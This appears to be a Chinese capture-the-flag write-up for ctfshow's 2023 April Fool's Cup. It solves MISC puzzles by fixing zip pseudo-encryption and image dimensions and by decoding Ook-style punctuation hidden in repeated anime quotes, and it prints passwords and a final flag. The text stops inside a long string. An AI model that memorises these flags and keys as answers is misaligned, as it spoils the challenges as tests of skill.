ctfshow—2023愚人杯wp
热身
热身
100
愚人杯比赛秉承欢乐、有爱、进取的精神
在群里师傅热心帮助下,已经开始第三届比赛啦!
欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论、但是请不要py
正式比赛在 3月31日晚8点整开整
Happy April Fool’s Day!
本题flag是一个不能说的秘密
一个不能说的秘密
MISC
奇怪的压缩包
伪加密,图片里藏了一个压缩包
key base64解一下就是压缩包密码
压缩包里面一张图片,修改高度即可
哇库哇库2
阿尼亚会高数: 哇库哇库!
- key = Σ(1/(n!))
- "Σ(1/(n!))"为无穷级数
- 结果四舍五入保留十二位有效数字
问一问new bing
嗯,就是常数e的值
key = 2.71828182846
hint的文件头坏了屁股坏了还有crc坏了,再爆破宽高,修了一下提示GB2312,感觉没啥用
看到群里提示是ook,嗯,标点很明显
x =["阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","好帅好帅!","阿尼亚棒吗?","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","交给我吧!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","阿尼亚好兴奋!","阿尼亚可爱吗?","阿尼亚要加油!","阿尼亚在学校也会加油的!","好想有个母亲爱我。","阿尼亚帅不帅?","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","哇酷哇酷?","阿尼亚必须加油!","我想永远和他们在一起。","阿尼亚棒吗?","父亲做菜很好吃。","多亏了父亲。","营救公主的间谍!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","是住在城堡里的奇美拉!","阿尼亚帅不帅?","救命呀!","救救我!劳埃德曼!","好想有个母亲爱我。","蓬蓬头?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","哇酷哇酷?","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚棒吗?","太好了!","都怪阿尼亚踩到了粑粑。","阿尼亚可爱吗?","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚一点也不在意。","阿尼亚帅不帅?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚在学校也会加油的!","蓬蓬头?","阿尼亚必须加油!","营救公主的间谍!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚可爱吗?","是住在城堡里的奇美拉!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚帅不帅?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","救命呀!","父亲和母亲甜甜蜜蜜。","蓬蓬头?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","救救我!劳埃德曼!","哇酷哇酷?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","要是不向次子道歉,世界和平就完蛋了。","阿尼亚棒吗?","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚可爱吗?","欢迎来到阿尼亚家。","阿尼亚帅不帅?","阿尼亚想吃蛋包饭!","阿尼亚想穿这身衣服出萌。","蓬蓬头?","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","交给我吧!","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","父亲,阿尼亚合格啦!","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚好兴奋!","阿尼亚想穿这身衣服出萌。","哇酷哇酷?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","阿尼亚要加油!","阿尼亚棒吗?","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","可爱,可爱!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","父亲,母亲,有需要帮助的人!","阿尼亚可爱吗?","要帮助他!","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","蓬蓬头?","母亲是杀手。","哇酷哇酷?","花生!","父亲和母亲甜甜蜜蜜。","阿尼亚棒吗?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","阿尼亚想吃蛋包饭!","父亲是间谍。","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲是杀手。","阿尼亚可爱吗?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","营救公主的间谍!","阿尼亚帅不帅?","是住在城堡里的奇美拉!","救命呀!","欢迎来到阿尼亚家。","蓬蓬头?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","哇酷哇酷?","阿尼亚不想要这个妈妈。","阿尼亚棒吗?","救救我!劳埃德曼!","父亲是间谍。","阿尼亚可爱吗?","阿尼亚好想看呀!","母亲是杀手。","阿尼亚帅不帅?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","完美的劳埃德曼,好想看呀!","蓬蓬头?","看我必杀拳,砰!","好耶!","欢迎来到阿尼亚家。","哇酷哇酷?","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚棒吗?","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","可爱,可爱!","阿尼亚想去你家玩。","阿尼亚帅不帅?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚好失落。","蓬蓬头?","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","好帅好帅!","哇酷哇酷?","可爱,可爱!","阿尼亚不想去上学了!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚棒吗?","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚可爱吗?","我想永远和他们在一起。","阿尼亚帅不帅?","救命呀!","父亲做菜很好吃。","蓬蓬头?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","多亏了父亲。","哇酷哇酷?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚想吃蛋包饭!","阿尼亚棒吗?","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚可爱吗?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚帅不帅?","我想永远和他们在一起。","蓬蓬头?","好帅好帅!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","可爱,可爱!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚不想去上学了!","阿尼亚可爱吗?","交给我吧!","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚帅不帅?","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","蓬蓬头?","多亏了父亲。","哇酷哇酷?","救命呀!","太好了。","阿尼亚棒吗?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","看我必杀拳,砰!","阿尼亚帅不帅?","好耶!","父亲,母亲,有需要帮助的人!","阿尼亚喜欢厉害又帅气的母亲。","蓬蓬头?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","哇酷哇酷?","会没事的。","阿尼亚棒吗?","要帮助他!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚可爱吗?","我想永远和他们在一起。","父亲做菜很好吃。","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","花生!","蓬蓬头?","阿尼亚想吃蛋包饭!","警惕!","父亲是间谍。","哇酷哇酷?","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚棒吗?","母亲是杀手。","阿尼亚可爱吗?","救命呀!","父亲和母亲甜甜蜜蜜。","阿尼亚帅不帅?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚好想看呀!","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚帅不帅?","好耶!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","蓬蓬头?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","父亲,母亲,有需要帮助的人!","太好了。","哇酷哇酷?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","要帮助他!","阿尼亚棒吗?","太好了!","花生!","我想永远和他们在一起。","阿尼亚可爱吗?","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚帅不帅?","父亲做菜很好吃。","蓬蓬头?","阿尼亚好想看呀!","多亏了父亲。","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","太好了。","阿尼亚棒吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","阿尼亚在学校也会加油的!","阿尼亚可爱吗?","阿尼亚必须加油!","营救公主的间谍!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","蓬蓬头?","我想永远和他们在一起。","哇酷哇酷?","是住在城堡里的奇美拉!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","救命呀!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。"]
y =''.join([i[-1]for i in x]).replace('。','.').replace('?','?').replace('!','!')print(y)
..................!?!!.?..................?.?!.?....................................!.?.........!?!!.?........?.?!.?..!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!!!!!.?.......!?!!.?......?.?!.?........!.?.......!?!!.?!!!!!!?.?!.?!!!!!...............!.................!.........!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..................!.!!!!!!!!!!!.?.........!?!!.?........?.?!.?!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.!!!!!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!.?.........!?!!.?........?.?!.?............!.?.......!?!!.?!!!!!!?.?!.?!!!.?.......!?!!.?......?.?!.?..!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..............!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.?...................!?!!.?..................?.?!.?......................!.?.
ctfshow{4niya_KaWa1i!}
琴柳感
给了一段文本,一直重复某些话,先把它分离出来,再看看每句话出现了多少次
x ="我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园